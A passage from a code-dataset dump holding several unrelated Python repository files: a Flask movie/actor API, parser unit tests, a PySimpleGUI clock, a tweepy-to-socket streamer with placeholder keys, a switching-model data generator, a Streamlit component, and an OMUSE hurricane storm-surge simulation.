endpoint\n    deletes a specified actor in the database\n    requires 'delete:actors' authentication\n    returns True and id number of the deleted actor in a JSON object if successful, false along with error and message otherwise\n  '''\n\n  @app.route('/actors/<int:id>', methods=['DELETE'])\n  @requires_auth('delete:actors')\n  def delete_actors(payload, id):\n    if not request.method == 'DELETE':\n      abort(405)\n    actor = Actor.query.filter(Actor.id == id).one_or_none()\n    if actor is None:\n      abort(404)\n    try:\n      actor.delete()\n      return jsonify({\n        'success': True,\n        'deleted': actor.id\n      }), 200\n    except:\n      abort(422)\n\n  '''\n  DELETE /movies/<int:id> endpoint\n    deletes a specified movie in the database\n    requires 'delete:movies' authentication\n    returns True and id number of the deleted movie in a JSON object if successful, false along with error and message otherwise\n  '''\n\n  @app.route('/movies/<int:id>', methods=['DELETE'])\n  @requires_auth('delete:movies')\n  def delete_movies(payload, id):\n    if not request.method == 'DELETE':\n      abort(405)\n    movie = Movie.query.filter(Movie.id == id).one_or_none()\n    if movie is None:\n      abort(404)\n    try:\n      movie.delete()\n      return jsonify({\n        'success': True,\n        'deleted': movie.id\n      }), 200\n    except:\n      abort(422)\n\n  '''\n  POST /actors endpoint\n    adds a new actor into the database\n    requires 'post:actors' authentication\n    returns True and name of the newly added actor in a JSON object if successful, false along with error and message otherwise\n  '''\n\n  @app.route('/actors', methods=['POST'])\n  @requires_auth('post:actors')\n  def post_actors(payload):\n    if not request.method == 'POST':\n      abort(405)\n    body = request.get_json()\n    name = body.get('name')\n    age = body.get('age')\n    gender = body.get('gender')\n    movies_id = body.get('movies_id')\n    new_actor = Actor(name=name, age=age, gender=gender, movies_id=movies_id)\n    new_actor.insert()\n    try:\n      return jsonify({\n        'success': True,\n        'actor': new_actor.name\n      }), 200\n    except:\n      abort(422)\n\n  '''\n  POST /movies endpoint\n    adds a new movie into the database\n    requires 'post:movies' authentication\n    returns True and title of the newly added movie in a JSON object if successful, false along with error and message otherwise\n  '''\n\n  @app.route('/movies', methods=['POST'])\n  @requires_auth('post:movies')\n  def post_movies(payload):\n    if not request.method == 'POST':\n      abort(405)\n    body = request.get_json()\n    title = body.get('title')\n    release_date = body.get('release_date')\n    actors = body.get('actors')\n    new_movie = Movie(title=title, release_date=release_date, actors=actors)\n    new_movie.insert()\n    try:\n      return jsonify({\n        'success': True,\n        'actor': new_movie.title\n      }), 200\n    except:\n      abort(422)\n\n  '''\n  PATCH /actors/<int:id> endpoint\n    updates an existing actor in the database\n    requires 'patch:actors' authentication\n    returns True and name of the updated actor in a JSON object if successful, false along with error and message otherwise\n  '''\n\n  @app.route('/actors/<int:id>', methods=['PATCH'])\n  @requires_auth('patch:actors')\n  def patch_actors(payload, id):\n    if not request.method == 'PATCH':\n      abort(405)\n    actor = Actor.query.filter(Actor.id == id).one_or_none()\n    if actor is None:\n      abort(404)\n    body = request.get_json()\n    name = body.get('name')\n    age = body.get('age')\n    gender = body.get('gender')\n    actor.name = name\n    actor.age = age\n    actor.gender = gender\n    actor.update()\n    try:\n      return jsonify({\n        'success': True,\n        'actor': actor.name\n      }), 200\n    except:\n      abort(422)\n\n  '''\n  PATCH /movies/<int:id> endpoint\n    updates an existing movie in the database\n    requires 'patch:movie' authentication\n    returns True and title of the updated movie in a JSON object if successful, false along with error and message otherwise\n  '''\n\n  @app.route('/movies/<int:id>', methods=['PATCH'])\n  @requires_auth('patch:movies')\n  def patch_movies(payload, id):\n    if not request.method == 'PATCH':\n      abort(405)\n    movie = Movie.query.filter(Movie.id == id).one_or_none()\n    if movie is None:\n      abort(404)\n    body = request.get_json()\n    title = body.get('title')\n    release_date = body.get('release_date')\n    actors = body.get('actors')\n    movie.title = title\n    movie.release_date = release_date\n    movie.actors = actors\n    movie.update()\n    try:\n      return jsonify({\n        'success': True,\n        'actor': movie.title\n      }), 200\n    except:\n      abort(422)\n\n  ## Error Handling\n\n  @app.errorhandler(422)\n  def unprocessable(error):\n    return jsonify({\n              \"success\": False, \n              \"error\": 422,\n              \"message\": \"unprocessable\"\n              }), 422\n\n  @app.errorhandler(404)\n  def resource_not_found(error):\n    return jsonify({\n              \"success\": False, \n              \"error\": 404,\n              \"message\": \"resource not found\"\n              }), 404\n\n  @app.errorhandler(405)\n  def method_not_allowed(error):\n    return jsonify({\n              \"success\": False, \n              \"error\": 405,\n              \"message\": \"method not allowed\"\n              }), 405\n\n  @app.errorhandler(AuthError)\n  def auth_error(ex):\n    return jsonify({\n              \"success\": False,\n              \"error\": ex.status_code,\n              \"message\": ex.error['code']\n              }),  ex.status_code\n\n  return app\n\nAPP = create_app()\n\n#if __name__ == '__main__':\n#    APP.run(host='0.0.0.0', port=8080, debug=True)","repo_name":"adrianabarca42/Capstone","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24852991498","text":"# Ugly hack to allow import from the root folder\nimport sys\nimport os\nsys.path.insert(0, os.path.abspath('..'))\n\nimport unittest\nfrom boba.constraintparser import ConstraintParser, ParseError\nfrom boba.conditionparser import ConditionParser, TokenType\nfrom boba.parser import Parser\n\n\ndef abs_path(rel_path):\n    return os.path.join(os.path.dirname(__file__), rel_path)\n\n\ndef read_wrapper(spec, ps):\n    ConstraintParser(spec).read_constraints(ps.code_parser, ps.dec_parser)\n\n\nclass TestConstraintParser(unittest.TestCase):\n\n    def test_read_json(self):\n        base = abs_path('./specs/')\n        ps = Parser(base+'script3-1.py')\n        cp = ConstraintParser(ps.spec)\n        cs = cp.read_constraints(ps.code_parser, ps.dec_parser)\n        self.assertEqual(len(cs), 2)\n\n    def test_link(self):\n        base = abs_path('./specs/')\n        ps = Parser(base + 'script3-7.py')\n        cp = ConstraintParser(ps.spec)\n        cs = cp.read_constraints(ps.code_parser, ps.dec_parser)\n        self.assertEqual(len(cs), 10)\n\n    def test_condition_parser(self):\n        cond = ''\n        ConditionParser(cond).parse()\n\n        cond = 'a == b'\n        _, decs = ConditionParser(cond).parse()\n        self.assertListEqual(['a', 'b'], [d.value for d in decs])\n\n        cond = 'a.index == 1'\n        _, decs = ConditionParser(cond).parse()\n        self.assertListEqual(['a', '1'], [d.value for d in decs])\n        self.assertListEqual([TokenType.index_var, TokenType.number],\n                             [d.type for d in decs])\n\n        cond = 'a = 2.5'\n        _, decs = ConditionParser(cond).parse()\n        self.assertListEqual(['a', '2.5'], [d.value for d in decs])\n        self.assertListEqual([TokenType.var, TokenType.number],\n                             [d.type for d in decs])\n\n        cond = 'a.index == b.index'  # .index not allowed on RHS, should fail\n        with self.assertRaises(ParseError):\n            ConditionParser(cond).parse()\n\n        cond = '1 2 a b 4'  # we did not check other semantics ...\n        ConditionParser(cond).parse()\n\n    def test_eval(self):\n        \"\"\" Evaluation of various conditions \"\"\"\n        # expr and expr\n        base = abs_path('./specs/')\n        ps = Parser(base + 'script3-6.py', base)\n        ps.main(verbose=False)\n        self.assertEqual(ps.wrangler.counter, 2)\n\n        # expr or expr\n        ps.spec['constraints'] = [{\"block\": \"D\", \"condition\": \"a == if or B == b1\"}]\n        ps._parse_constraints()\n        ps.main(verbose=False)\n        self.assertEqual(ps.wrangler.counter, 6)\n\n        # expr and (expr or expr)\n        ps.spec['constraints'] = [{\"block\": \"D\", \"condition\": \"a == if and (B == b1 or B == b2)\"}]\n        ps._parse_constraints()\n        ps.main(verbose=False)\n        self.assertEqual(ps.wrangler.counter, 4)\n\n        # testing !=\n        ps.spec['constraints'] = [{\"block\": \"D\", \"condition\": \"a != if\"}]\n        ps._parse_constraints()\n        ps.main(verbose=False)\n        self.assertEqual(ps.wrangler.counter, 4)\n\n        # testing >=\n        ps.spec['constraints'] = [{\"block\": \"D\", \"condition\": \"a.index >= 1\"}]\n        ps._parse_constraints()\n        ps.main(verbose=False)\n        self.assertEqual(ps.wrangler.counter, 4)\n\n        # testing index\n        ps.spec['constraints'] = [{\"block\": \"D\", \"condition\": \"b.index == 1\"}]\n        ps._parse_constraints()\n        ps.main(verbose=False)\n        self.assertEqual(ps.wrangler.counter, 4)\n\n        # testing option with integer type\n        ps.spec['constraints'] = [{\"block\": \"D\", \"condition\": \"b == 0\"}]\n        ps._parse_constraints()\n        ps.main(verbose=False)\n        self.assertEqual(ps.wrangler.counter, 4)\n\n        # testing option with float type\n        ps.spec['constraints'] = [{\"block\": \"D\", \"condition\": \"b == 1.5\"}]\n        ps._parse_constraints()\n        ps.main(verbose=False)\n        self.assertEqual(ps.wrangler.counter, 4)\n\n        # testing unmade decision\n        ps.spec['constraints'] = [{\"block\": \"A\", \"condition\": \"b.index == 0\"}]\n        ps._parse_constraints()\n        ps.main(verbose=False)\n        self.assertEqual(ps.wrangler.counter, 0)\n\n        # testing if the decision is made when the block depends on a variable\n        # inside the block\n        ps.spec['constraints'] = [{\"block\": \"B\", \"condition\": \"b.index == 0\"}]\n        ps._parse_constraints()\n        ps.main(verbose=False)\n        self.assertEqual(ps.wrangler.counter, 0)\n\n    def test_condition_syntax(self):\n        \"\"\" Does the condition code contain python syntax error? \"\"\"\n\n        base = abs_path('./specs/')\n        ps = Parser(base+'script3-1.py', base)\n\n        spec = {'constraints': [{'block': 'A', 'condition': 'B=b1'}]}\n        with self.assertRaises(ParseError):\n            read_wrapper(spec, ps)\n\n        spec = {'constraints': [{'block': 'A', 'condition': 'B b1'}]}\n        with self.assertRaises(ParseError):\n            read_wrapper(spec, ps)\n\n        spec = {'constraints': [{'block': 'A', 'condition': 'B == 2.5'}]}\n        read_wrapper(spec, ps)\n\n    def test_json_syntax(self):\n        \"\"\" Test various possibilities to specify constraints in JSON \"\"\"\n\n        base = abs_path('./specs/')\n        ps = Parser(base+'script3-1.py', base)\n\n        # empty - should parse\n        spec = {}\n        read_wrapper(spec, ps)\n\n        # empty array - should parse\n        spec = {'constraints': []}\n        read_wrapper(spec, ps)\n\n        # empty element - should fail\n        spec = {'constraints': [{}]}\n        with self.assertRaises(ParseError):\n            read_wrapper(spec, ps)\n\n        # no matching block - should fail\n        spec = {'constraints': [{'block': 'a'}]}\n        with self.assertRaises(ParseError):\n            read_wrapper(spec, ps)\n\n        # no matching variable - should fail\n        spec = {'constraints': [{'variable': 'c'}]}\n        with self.assertRaises(ParseError):\n            read_wrapper(spec, ps)\n\n        # loner option - should fail\n        spec = {'constraints': [{'option': 'a1'}]}\n        with self.assertRaises(ParseError):\n            read_wrapper(spec, ps)\n\n        # loner block - should parse\n        spec = {'constraints': [{'block': 'A', 'condition': 'B==b1'}]}\n        read_wrapper(spec, ps)\n\n        # block and option - should parse\n        spec = {'constraints': [{'block': 'A', 'option': 'a1', 'condition': 'B==b1'}]}\n        read_wrapper(spec, ps)\n\n        # variable and option - should parse\n        spec = {'constraints': [{'variable': 'a', 'option': '2.5', 'condition': 'B==b1'}]}\n        read_wrapper(spec, ps)\n\n        # weird option - should parse\n        # fixme: {'option': '[1,2]'} will fail\n        spec = {'constraints': [{'variable': 'c', 'option': '[1, 2]', 'condition': 'B==b1'}]}\n        read_wrapper(spec, ps)\n\n        # variables in condition do not match - should fail\n        spec = {'constraints': [{'block': 'A', 'condition': 'H==b1'}]}\n        with self.assertRaises(ParseError):\n            read_wrapper(spec, ps)\n\n        # variables in condition do not match - should fail\n        spec = {'constraints': [{'block': 'A', 'condition': 'H.index==1'}]}\n        with self.assertRaises(ParseError):\n            read_wrapper(spec, ps)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"uwdata/boba","sub_path":"test/test_constraint_parser.py","file_name":"test_constraint_parser.py","file_ext":"py","file_size_in_byte":7199,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"35"}
{"seq_id":"172184897","text":"from fileinput import filename\r\nimport PySimpleGUI as sg\r\n#from output import numbers\r\nfrom datetime import datetime\r\nfrom threading import Timer\r\nfrom random import randint\r\n\r\ncurrent_time = datetime.now()\r\nhour, minute = current_time.strftime(\"%H\"), current_time.strftime(\"%M\")\r\nsecond = current_time.strftime(\"%S\")\r\n\r\nlayout = [\r\n    [sg.Image(f\"assets/{int(hour)}.png\", key=\"-HOUR-\", size=(100,200)), sg.Image(f\"assets/{int(minute)}.png\", key=\"-MINUTE-\", size=(100,200)), sg.Image(f\"assets/{int(second)}.png\", key=\"-SECOND-\", size=(100,200))],\r\n]\r\n\r\nwindow = sg.Window(\"TEST\", layout=layout, finalize=True, no_titlebar=True, grab_anywhere=True, return_keyboard_events=True)\r\nwindow.bind(\"<ESCAPE>\", \"Exit\")\r\n\r\ndef change_number():\r\n    print(\"cock\")\r\n    window[\"-HOUR-\"].update(filename=f\"assets/{randint(0,59)}.png\")\r\n\r\ndef main():\r\n    while True:\r\n        s = Timer(1.0, change_number)\r\n        s.start()\r\n        \r\n        event, values = window.read()\r\n        if event in (sg.WINDOW_CLOSED, \"Exit\", \"Escape:27\"):\r\n            break\r\n        \r\n        elif event in (\"a\"):\r\n            window[\"-HOUR-\"].update(filename=\"assets/1.png\")\r\n\r\n        print(event, values)\r\n\r\n    window.close()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()","repo_name":"miksuk28/Tsunan-Clock","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31138908064","text":"#!/usr/bin/env python\n# coding: utf-8\n\n'''\nAfter running this script, create and run an HTTP client from the Tools menu.\nSet the localhost (you can leave as it is) and the port which will be used (5555 in this case)\n'''\n# imports\nimport tweepy\nfrom tweepy import Stream\nfrom tweepy.streaming import StreamListener \nfrom tweepy import OAuthHandler\n\nimport socket\nimport json\n\n# set the twitter API credentials\nconsumer_key='your_key'\nconsumer_secret='your_consumer'\naccess_token = 'your_access_token'\naccess_secret='your_access_secret'\n\n\nclass TweetsListener(StreamListener):\n    # tweet object listens for the tweets\n    def __init__(self, csocket):\n        self.client_socket = csocket\n    def on_data(self, data):\n        try:\n            msg = json.loads(data)\n            print(\"new message\")\n            # add at the end of each tweet \"t_end\"\n            self.client_socket\\\n                .send(str(msg['text']+\"t_end\")\\\n                .encode('utf-8'))\n            print(msg['text'])\n            return True\n        except BaseException as e:\n            print(\"Error on_data: %s\" % str(e))\n        return True\n    def on_error(self, status):\n        print(status)\n        return True\n'''\nBounding coordinates can be found using this link: https://boundingbox.klokantech.com/\nIn this case the coordinates are for UK\n'''\ndef sendData(c_socket, keyword):\n    print('start sending data from Twitter to socket')\n    # authentication based on the credentials\n    auth = OAuthHandler(consumer_key, consumer_secret)\n    auth.set_access_token(access_token, access_secret)\n    # start sending data from the Streaming API \n    twitter_stream = Stream(auth, TweetsListener(c_socket))\n    twitter_stream.filter(locations=[-7.24, 49.93, 1.85, 58.98], track = keyword, languages=[\"en\"])\n\nif __name__ == \"__main__\":\n    # server (local machine) creates listening socket\n    s = socket.socket()\n    host = \"127.0.0.1\"    \n    port = 4444\n    s.bind((host, port))\n    print('socket is ready')\n    # server (local machine) listens for connections\n    s.listen(4)\n    print('socket is listening')\n    # return the socket and the address on the other side of the connection (client side)\n    c_socket, addr = s.accept()\n    print(\"Received request from: \" + str(addr))\n    # select here the keyword for the tweet data\n    sendData(c_socket, keyword = ['covid'])\n","repo_name":"ArTeDS/Sentiment-Analysis-on-Streaming-Covid_19-Tweets","sub_path":"app/send_tweets_hashtag_count.py","file_name":"send_tweets_hashtag_count.py","file_ext":"py","file_size_in_byte":2351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21734140909","text":"import numpy as np\nfrom tqdm import tqdm\nimport arm_paras as ap\nimport arm_model as am\n\nif __name__ == '__main__':\n\n    T = ap.T\n    dt = ap.dt\n    x0 = ap.x0\n    s0 = ap.s0\n    batch_size = ap.batch_size\n\n    K = int(T / dt)\n    x_all = np.zeros([batch_size, ap.nx, K])\n    z_all = np.zeros([batch_size, ap.nz, K])\n    s_all = np.zeros([batch_size, 1, K], dtype='int')\n    t_all = np.zeros([batch_size, 1, K], dtype='int')\n    tpm_all = np.zeros([batch_size, 3, 3, K])\n    ifreach_all = np.zeros([batch_size, 1, K], dtype='int')\n    time_steps_all = np.zeros([batch_size, 1, K])\n\n    tempT = K+1\n    tpm_temp = np.zeros(shape=(2, tempT))\n    for ti in range(tempT):\n        t = ti+1\n        tpm_temp[0, ti] = ap.q23**(t**ap.r23 - (t-1)**ap.r23)\n        tpm_temp[1, ti] = ap.q32**(t**ap.r32 - (t-1)**ap.r32)\n\n    for n in tqdm(range(batch_size)):\n        tk = 1\n        time_current = 0\n        for k in range(K):\n            time_current = time_current + dt\n            qk, rk = am.noise_gene_arm()\n            if k == 0:\n                tpm0 = am.tpm_arm(x=x0, t=tk, temp=[tpm_temp[0, tk-1], tpm_temp[1, tk-1]])\n                sk = am.switch_arm(sp=s0, xp=x0, tp=tk)\n                if sk == s0:\n                    tk = tk + 1\n                else:\n                    tk = 1\n                xk = am.dynamic_arm(sk, x0, qk)\n                xkn, ifreachk = am.constraint_arm(xk)\n                zk = am.measurement_arm(xk, rk, s=sk)\n                tpmk = am.tpm_arm(x=xk, t=tk, temp=[tpm_temp[0, tk-1], tpm_temp[1, tk-1]])\n            else:\n                sp = s_all[n, 0, k - 1]\n                xp = x_all[n, :, k - 1]\n                tp = t_all[n, 0, k - 1]\n                sk = am.switch_arm(sp, xp, tp)\n                if sk == sp:\n                    tk = tk + 1\n                else:\n                    tk = 1\n                xk = am.dynamic_arm(sk, xp, qk)\n                xkn, ifreachk = am.constraint_arm(xk)\n                zk = am.measurement_arm(xk, rk, s=sk)\n                tpmk = am.tpm_arm(x=xk, t=tk, temp=[tpm_temp[0, tk-1], tpm_temp[1, tk-1]])\n\n            x_all[n, :, k] = xk\n            z_all[n, :, k] = zk\n            s_all[n, 0, k] = sk\n            t_all[n, 0, k] = tk\n            tpm_all[n, :, :, k] = tpmk\n            ifreach_all[n, 0, k] = ifreachk\n            time_steps_all[n, 0, k] = time_current\n\n    data_path = ap.data_path\n    np.savez(data_path, x_all=x_all, z_all=z_all, s_all=s_all,\n             t_all=t_all, tpm_all=tpm_all, ifreach_all=ifreach_all,\n             time_steps_all=time_steps_all)\n\n","repo_name":"Anwaei/LSTM-MM","sub_path":"arm_generate.py","file_name":"arm_generate.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13768464522","text":"from .utils import declare_component\n\n_component_func = declare_component(\"input\")\n\ndef input(default_value='', type='text', placeholder=None, key=None):\n    props = {\n        \"defaultValue\": default_value,\n        \"type\": type,\n        \"placeholder\": placeholder\n    }\n    component_value = _component_func(comp=\"input\", props=props, key=key, default=default_value)\n    return component_value\n","repo_name":"ObservedObserver/streamlit-shadcn-ui","sub_path":"streamlit_shadcn_ui/py_components/input.py","file_name":"input.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74357706660","text":"from datetime import datetime, timedelta\n\nfrom omuse.community.delft3d.interface import DFlowFM\nfrom omuse.ext.hurricane_models import HollandHurricane\n\nfrom omuse.units import units\nfrom matplotlib import pyplot\n\nimport sys\nimport os\nimport numpy as np\nimport pandas as pd\nfrom netCDF4 import num2date, Dataset, date2num\n\nprint(units.__file__)\n\n# inputs\nstart_date=sys.argv[1]\nstart_datetime=datetime.strptime(start_date,\"%Y%m%d\")\n# tend=9. | units.day                                        # end period, I should do 9 afterwards!\ntend=3. | units.hour                                        # end period, I should do 9 afterwards!\ndt=(1.| units.hour)                                        # timesteps\n# input file for the TC track:\ntc_track = sys.argv[3]\n# create a file to save outputs in map format\ntry:\n  os.mkdir('output')\nexcept FileExistsError:\n  print('Output directory already exists')\ndest=Dataset(r'output/gtsm_map.nc', 'w', format='NETCDF4')  \n# bbox to save files to [lon min, lon max, lat min, lat max]\n#coordinates=[-84., -78., 23., 34.]                                                                                                     \ncoordinates=sys.argv[2].split(',')                                         \n\ndef my_plot(x,y,var,var_min,var_max,name):\n    pyplot.scatter(x,y,c=var, cmap=\"jet\", s=1., vmin=var_min, vmax=var_max)\n    pyplot.xlim(-82.5, -79.5) \n    pyplot.ylim(29.5,32.5)\n    #pyplot.xlim(-110, -35)\n    #pyplot.ylim(0,75)\n    pyplot.xlabel(\"lon (deg)\")\n    pyplot.ylabel(\"lat (deg)\")\n    pyplot.colorbar()\n    #pyplot.title(d.model_time)\n    pyplot.savefig(name,format='png')\n    pyplot.clf()\n\n# create an array of dates\ndates = np.arange(start_datetime + timedelta(days=2) + timedelta(hours=dt.value_in(units.hour)), start_datetime + timedelta(days=6), timedelta(hours=dt.value_in(units.hour)))\n\n#d=DFlowFM( ini_file=\"gtsm_coarse.mdu\", coordinates=\"spherical\", redirection=\"none\",channel_type=\"sockets\") I commented this line because it was giving an error. I added the line below instead\nd=DFlowFM(number_of_workers=32, ini_file=\"/gpfs/home2/jcamphuijsen/input/model_template/gtsm_fine.mdu\", coordinates=\"spherical\")\nprint(d.parameter_set_names())\n\n#Use internal omuse forcings\nd.parameters.use_interface_wind=True\nd.parameters.use_interface_patm=True\nd.ini_time.RefDate=start_date\nd.ini_physics.TidalForcing=1\nd.ini_output.MapInterval=0.\nd.ini_output.HisInterval=\"3600.  172800.  777600.\"\n\nd.ini_external_forcing.ExtForceFile=\"/gpfs/home2/jcamphuijsen/input/model_template/gtsm_fine.ext\"\nd.ini_geometry.PartitionFile=\"/gpfs/home2/jcamphuijsen/input/model_template/step11_global_part.pol\"\nd.ini_numerics.Icgsolver=6\n\n#Prescribe wind speed and pressure with omuse HollandHurricane model\ntc_pres=HollandHurricane(d.flow_nodes,actf_file=tc_track,tstart=start_datetime)\ntc_vel=HollandHurricane(d.flow_links,actf_file=tc_track,tstart=start_datetime)\n\npyplot.ion()\npyplot.show()\ni=0\n\n# prepare forcings\nchannel1=tc_vel.nodes.new_channel_to(d.flow_links_forcing)\nchannel2=tc_pres.nodes.new_channel_to(d.flow_nodes_forcing)\nprint('---preparing forcings---')\n\n# --------------------------------------------------------------------------------------------------------------------------\n#%% create map file\n# --------------------------------------------------------------------------------------------------------------------------\n\n# create map file\nx_n= np.where((d.flow_nodes.lon.value_in(units.deg)>float(coordinates[0])) & (d.flow_nodes.lon.value_in(units.deg)<float(coordinates[1])) & (d.flow_nodes.lat.value_in(units.deg)<float(coordinates[3])) & (d.flow_nodes.lat.value_in(units.deg)>float(coordinates[2])), d.flow_nodes.lon.value_in(units.deg), np.nan)          # cropping lon,lat\nx_n=x_n[~np.isnan(x_n)]\ny_n= np.where((d.flow_nodes.lon.value_in(units.deg)>float(coordinates[0]))& (d.flow_nodes.lon.value_in(units.deg)<float(coordinates[1])) & (d.flow_nodes.lat.value_in(units.deg)<float(coordinates[3])) & (d.flow_nodes.lat.value_in(units.deg)>float(coordinates[2])), d.flow_nodes.lat.value_in(units.deg), np.nan)\ny_n=y_n[~np.isnan(y_n)]\ndest.createDimension('station',len(x_n))\n#dest.createDimension('time', None)\nlon=dest.createVariable('longitude',d.flow_nodes.lon.value_in(units.deg).dtype.str,('station',)) \nlon.units='degrees_east'\nlon.standard_name='longitude'\nlon[:]=x_n\n#lat=dest.createVariable('latitude',d.flow_nodes.lat.value_in(units.deg).dtype.str,('latitude')) \nlat=dest.createVariable('latitude',d.flow_nodes.lat.value_in(units.deg).dtype.str,('station',)) \nlat.units='degrees_north'\nlat.standard_name='latitude'\nlat[:]=y_n\n'''\ntime=dest.createVariable('time', np.float64, ('time',))\ntime.units = '%s since %s'%('seconds', start_datetime.strftime('%Y-%m-%d %H:%M:%S'))\ntime.standard_name='time'\ntime[:]=(dates - np.datetime64(start_datetime)) / np.timedelta64(1, 's')                                            # make time to the reference time\n#print('time:', time[:])\n'''\nwl=dest.createVariable('waterlevel', np.float64,('station'))\n#wl=dest.createVariable('waterlevel', np.float64,('time','station'))\nwl.coordinates= 'longitude latitude'\nwl.units='m'\nwl.standard_name='sea_surface_height'\n\nwl_ini=dest.createVariable('waterlevel_ini', np.float64,('station'))\n#wl=dest.createVariable('waterlevel', np.float64,('time','station'))\nwl_ini.coordinates= 'longitude latitude'\nwl_ini.units='m'\nwl_ini.standard_name='initial_sea_surface_height'\n\n\n'''\n# only necessary when plotting veloticies:\nx_l= np.where((d.flow_links.lon.value_in(units.deg)>float(coordinates[0]))& (d.flow_links.lon.value_in(units.deg)<float(coordinates[1])) & (d.flow_links.lat.value_in(units.deg)<float(coordinates[3])) & (d.flow_links.lat.value_in(units.deg)> float(coordinates[2])), d.flow_links.lon.value_in(units.deg), np.nan)          # cropping lon,lat\nx_l=x_l[~np.isnan(x_l)]\ny_l= np.where((d.flow_links.lon.value_in(units.deg)>float(coordinates[0]))& (d.flow_links.lon.value_in(units.deg)<float(coordinates[1])) & (d.flow_links.lat.value_in(units.deg)<float(coordinates[3])) & (d.flow_links.lat.value_in(units.deg)> float(coordinates[2])), d.flow_links.lat.value_in(units.deg), np.nan)\ny_l=y_l[~np.isnan(y_l)]\n'''                                                                                                 # set initial water level to 0. Would this also work if you have tides?\n# --------------------------------------------------------------------------------------------------------------------------\n#%% execute model\n# --------------------------------------------------------------------------------------------------------------------------\n# evolve the model in OMUSE\nwhile d.model_time < tend-dt/2:\n    i+=1\n    # evolve model and apply forcings\n    channel1.copy_attributes([\"vx\",\"vy\"],target_names=[\"wind_vx\",\"wind_vy\"])\n    channel2.copy_attributes([\"pressure\"],target_names=[\"atmospheric_pressure\"])\n\n    d.evolve_model(d.model_time+dt)\n    print(d.model_time)\n    tc_vel.evolve_model(d.model_time+dt) \n    tc_pres.evolve_model(d.model_time+dt) \n    \n    # -----------------------------------------------------------------------------------------------------------------------\n    #%% save data to map file\n    # -----------------------------------------------------------------------------------------------------------------------\n    #Plotting waterlevels\n    z=d.flow_nodes.water_level.value_in(units.m)\n    z_bbox= np.where((d.flow_nodes.lon.value_in(units.deg)>float(coordinates[0])) & (d.flow_nodes.lon.value_in(units.deg)<float(coordinates[1])) & (d.flow_nodes.lat.value_in(units.deg)<float(coordinates[3])) & (d.flow_nodes.lat.value_in(units.deg)>float(coordinates[2])), z, np.nan)\n    z_bbox=z_bbox[~np.isnan(z_bbox)]\n    #print('z_bbox', z_bbox)\n\n    name = \"waterlevel\" + str(i) + \".png\"\n    \n        \n    if d.model_time.value_in(units.s) == 3600.: \n        wl_ini[:]=z_bbox\n        wl[:]=wl_ini[:]\n        #print('wl_ini[:]', wl_ini[:])\n        my_plot(x_n,y_n,z_bbox,0,2,name)\n\n       \n    # if 172800. < d.model_time.value_in(units.s) <= 518400. - dt.value_in(units.s):\n    #wl[:]=z_bbox\n    wl[:]=np.where(z_bbox>wl[:], z_bbox, wl[:])\n    #print('wl[:]', wl[:])\n    my_plot(x_n,y_n,z_bbox,0,2,name)\n\n    \n    '''\n    #if d.model_time <= tend-dt:\n    if 172800. < d.model_time.value_in(units.s) <= 518400. - dt.value_in(units.s):\n        datei = num2date(d.model_time.number,units=time.units)#,calendar=time.calendar)\n        #datei = num2date(d.model_time.number,units=time.units,calendar=time.calendar)\n        #print('timestep2:',timestep2)\n        #print('dates:', dates)\n        #print('waterlevel:', d.model_time, z_bbox.min(),z_bbox.max())\n        #print('datei:', np.datetime64(datei))\n        tid_fileout = list(dates).index(datei)\n        #print('tid_fileout:', tid_fileout)\n        #time[:]=d.model_time.number\n        #print('dest.variables[time][:]', dest.variables['time'][:])\n        #\n        #dest.variables['waterlevel'][n,:,:]=z\n        wl[tid_fileout-1,:]=z_bbox # not sure if this should be -1 or not! lets check out the results later on..\n        #wl[d.model_time,:,:]=z    \n    '''    \n\n    # #Plotting waterlevels\n    # z=d.flow_nodes.water_level.value_in(units.m)\n    # z_bbox= np.where((d.flow_nodes.lon.value_in(units.deg)>float(coordinates[0]))& (d.flow_nodes.lon.value_in(units.deg)<float(coordinates[1])) & (d.flow_nodes.lat.value_in(units.deg)<float(coordinates[3])) & (d.flow_nodes.lat.value_in(units.deg)> float(coordinates[2])), z, np.nan)\n    # z_bbox=z_bbox[~np.isnan(z_bbox)]\n    # print('waterlevel:', d.model_time, z_bbox.min(),z_bbox.max())\n    # name = \"waterlevel\" + str(i) + \".png\"\n    # my_plot(x_n,y_n,z_bbox,-2.,2.,name)\n    \n    # #Plotting wind speed    \n    vel=(d.flow_links_forcing.wind_vx.value_in(units.m/units.s)**2+ \\\n            d.flow_links_forcing.wind_vy.value_in(units.m/units.s)**2)**0.5\n    # vel_bbox= np.where((d.flow_links.lon.value_in(units.deg)>float(coordinates[0])) & (d.flow_links.lon.value_in(units.deg)<float(coordinates[1])) & (d.flow_links.lat.value_in(units.deg)<float(coordinates[3])) & (d.flow_links.lat.value_in(units.deg)> float(coordinates[2])), vel, np.nan)\n    # vel_bbox=vel_bbox[~np.isnan(vel_bbox)]\n    print('velocity:', d.model_time, vel.min(),vel.max())\n    # print('max_velocity location:', d.model_time, d.datetime)\n    # name = \"velocity\" + str(i) + \".png\"\n    # my_plot(x_l,y_l,vel_bbox,0.,40.,name)\n\nd.stop()\n  \n","repo_name":"JaroCamphuijsen/TCM","sub_path":"gtsm-holland/gtsm_holland_BS_maxmap.py","file_name":"gtsm_holland_BS_maxmap.py","file_ext":"py","file_size_in_byte":10368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
